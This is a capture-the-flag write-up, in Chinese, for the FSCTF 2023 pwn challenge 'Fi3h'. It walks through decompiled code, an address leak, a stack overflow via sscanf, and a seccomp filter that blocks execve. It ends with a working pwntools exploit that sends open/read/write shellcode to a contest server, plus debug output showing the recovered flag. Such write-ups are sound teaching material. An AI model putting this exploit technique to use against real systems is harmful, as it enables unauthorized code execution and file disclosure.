NSSCTF [FSCTF 2023]Fi3h
4445.[FSCTF 2023]Fi3h orw
[FSCTF 2023]Fi3h
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file fish
fish: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=51e1fe1cb759c73ba6d6d76ed98bd13f350e316c, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=fish
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 56 Symbols No 0 2 fish
(2)
用ida打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
const char *welcome_t0_orrr_s_fish_shop; // rdi
int v4; // [rsp+1Ch] [rbp-4h] BYREF
addr = (__int64)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
init(0LL);
welcome_t0_orrr_s_fish_shop = "welcome t0 orrr's fish shop";
puts("welcome t0 orrr's fish shop");
while ( 1 )
{
while ( 1 )
{
v4 = 0;
menu(welcome_t0_orrr_s_fish_shop);
welcome_t0_orrr_s_fish_shop = "%d";
__isoc99_scanf("%d", &v4);
if ( v4 != 1 )
break;
fish("%d", (unsigned int)&v4);
}
switch ( v4 )
{
case 3:
fiSh("%d", (unsigned int)&v4);
break;
case 2:
Fish("%d", (unsigned int)&v4);
break;
case 5:
fisH("%d", (unsigned int)&v4);
break;
case 4:
exxxit("%d", (unsigned int)&v4);
default:
welcome_t0_orrr_s_fish_shop = "Invalid input!";
puts("Invalid input!");
break;
}
}
}
发现有个mmap函数(在指定地址映射一块内存区域)给了addr参数,是可读可写可执行的
然后有一个menu函数:菜单选项,并且要输入一个值进行选择
主要的函数是:
- 选择1,有fish函数
int __fastcall fish(const char *%d)
{
return printf(
"Nowadays,it is common to fish. Many people like fish because Money spent on the brain is never spent in %p.. "
"Besides,The secret of success is constancy of purpose.To begin with, As is vividly portrayed in the drawing a"
"bove, Actions speak louder than words., which seems to be interesting and ridiculous right. Only by cooperati"
"ng with other people can you put your capacities into full play and can you be the winner in the society.Cons"
"equently, I'm confident that a bright future is awaiting us because Storms make trees take deeper roots..How "
"to cure the pressing situation?The mass media should exert more positive energy, such as being confidence, to"
" the public so that people would react more positively to difficulties and adversities.\n",
(const void *)addr);
}
看到这里会泄露addr参数地址
- 选择3,有fiSh函数
int __fastcall fiSh(const char *%d)
{
return printf(
"With the rapid development of science and technology,more and more people believe that fiSh.In this respect, "
"we may as well say, As is vividly portrayed in the drawing above, Storms make trees take deeper roots., which"
" seems to be %p and ridiculous right. fiSh not only does harm to our job but also results in a frustrating li"
"fe among young. From what has been discussed above, we may reasonably arrive at the conclusion that Storms ma"
"ke trees take deeper roots..How to cure the pressing situation?Reading books. We can devote some of our leisu"
"re to cultivating a love of reading books. You will find what you can not get in reality but in books, such a"
"s companion, answers to tough questions, etiquette as well as mental power etc.\n",
sc_s);
}
这里会泄露sc_s函数的地址,查看sc_s函数
__int64 sc_s()
{
void *buf; // [rsp+8h] [rbp-8h]
buf = (void *)addr;
puts("u have found the wish bottle that can fulfil your deep dork fantasy:");
read(0, buf, 0x400uLL);
return ((__int64 (__fastcall *)(_QWORD))buf)(0LL);
}
看到这个函数可以向开辟的内存空间里写东西,最后会跳转到addr
- 选择5,有fisH
__int64 __fastcall fisH(const char *%d)
{
return func(%d);
}
给了一个func函数
__int64 func()
{
_BYTE buf[288]; // [rsp+0h] [rbp-350h] BYREF
char v2; // [rsp+120h] [rbp-230h] BYREF
char v3; // [rsp+1B0h] [rbp-1A0h] BYREF
char v4; // [rsp+240h] [rbp-110h] BYREF
char v5; // [rsp+2D0h] [rbp-80h] BYREF
puts("input something:");
read(0, buf, 0xA0uLL);
return __isoc99_sscanf(buf, "%[^.].%[^.].%[^.].%[^.]", &v2, &v3, &v4, &v5);
}
这里使用了__isoc99_sscanf函数来解析字符串buf,按照特定格式分割成四个部分,并将每个部分的值存储在相应的变量中。
%[^.]表示读取除了点号(.)之外的任意字符序列,这里用于读取四个由点号分隔的部分。
. 表示匹配一个点号字符,用于分隔每个部分。
v2,v3,v4和v5分别是用来存储四个部分的结果。
(3)
查看一下限制
motaly@motaly-VMware-Virtual-Platform:~/桌面$ seccomp-tools dump ./fish
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL
发现他把execve禁用了,所以直接shellcode不行,可以想到用orw方法(这题的类型也是orw)
(4)
思路:
1.先根据函数,获取addr内存空间地址和sc_s函数地址
2.然后利用func函数构造第一条ROP链,并发送
(利用v5距离rbp偏移0x80,返回地址写到sc_s函数)
3.给addr增加内存空间,并构造第二条ROP链,主要是实现orw功能(打开flag文件,读取flag内容,写入到标准输出,最后flag值会在终端中显示),转换后发送
编写
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn', 28501)
# io = process('/home/motaly/桌面/fish')
io.sendlineafter(b'>>', b'1')
io.recvuntil(b'never spent in ')
addr=int(io.recv(14),16)
io.sendlineafter(b'>>', b'3')
io.recvuntil(b'seems to be ')
sc_s=int(io.recv(14),16)
io.sendlineafter(b'>>', b'5')
io.recvuntil(b'input something:\n')
payload=b'1.1.1.'+b'a'*0x88+p64(sc_s)
io.send(payload)
io.recvuntil(b'deep dork fantasy:\n')
new_addr=addr+0x400
orw=shellcraft.open('./flag')+shellcraft.read(3,new_addr,0x100)+shellcraft.write(1,new_addr,0x100)
shellcode=asm(orw)
io.send(shellcode)
io.interactive()
(4)
连接得到flag
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-8tyf9a88/step2 /tmp/pwn-asm-8tyf9a88/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-8tyf9a88/step3 /tmp/pwn-asm-8tyf9a88/step4
[DEBUG] Sent 0x70 bytes:
00000000 48 b8 01 01 01 01 01 01 01 01 50 48 b8 2f 2e 67 │H···│····│··PH│·/.g│
00000010 6d 60 66 01 01 48 31 04 24 48 89 e7 31 d2 31 f6 │m`f·│·H1·│$H··│1·1·│
00000020 6a 02 58 0f 05 31 c0 6a 03 5f 31 d2 b6 01 48 be │j·X·│·1·j│·_1·│··H·│
00000030 01 01 01 01 01 01 01 01 56 48 be 01 45 22 6d 9a │····│····│VH··│E"m·│
00000040 7e 01 01 48 31 34 24 5e 0f 05 6a 01 5f 31 d2 b6 │~··H│14$^│··j·│_1··│
00000050 01 48 be 01 01 01 01 01 01 01 01 56 48 be 01 45 │·H··│····│···V│H··E│
00000060 22 6d 9a 7e 01 01 48 31 34 24 5e 6a 01 58 0f 05 │"m·~│··H1│4$^j│·X··│
00000070
[*] Switching to interactive mode
[DEBUG] Received 0x100 bytes:
00000000 4e 53 53 43 54 46 7b 34 63 37 32 61 63 66 36 2d │NSSC│TF{4│c72a│cf6-│
00000010 34 31 37 37 2d 34 34 65 33 2d 39 36 30 64 2d 36 │4177│-44e│3-96│0d-6│
00000020 34 65 33 39 65 35 63 65 66 65 63 7d 0a 00 00 00 │4e39│e5ce│fec}│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000100
NSSCTF{4c72acf6-4177-44e3-960d-64e39e5cefec}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive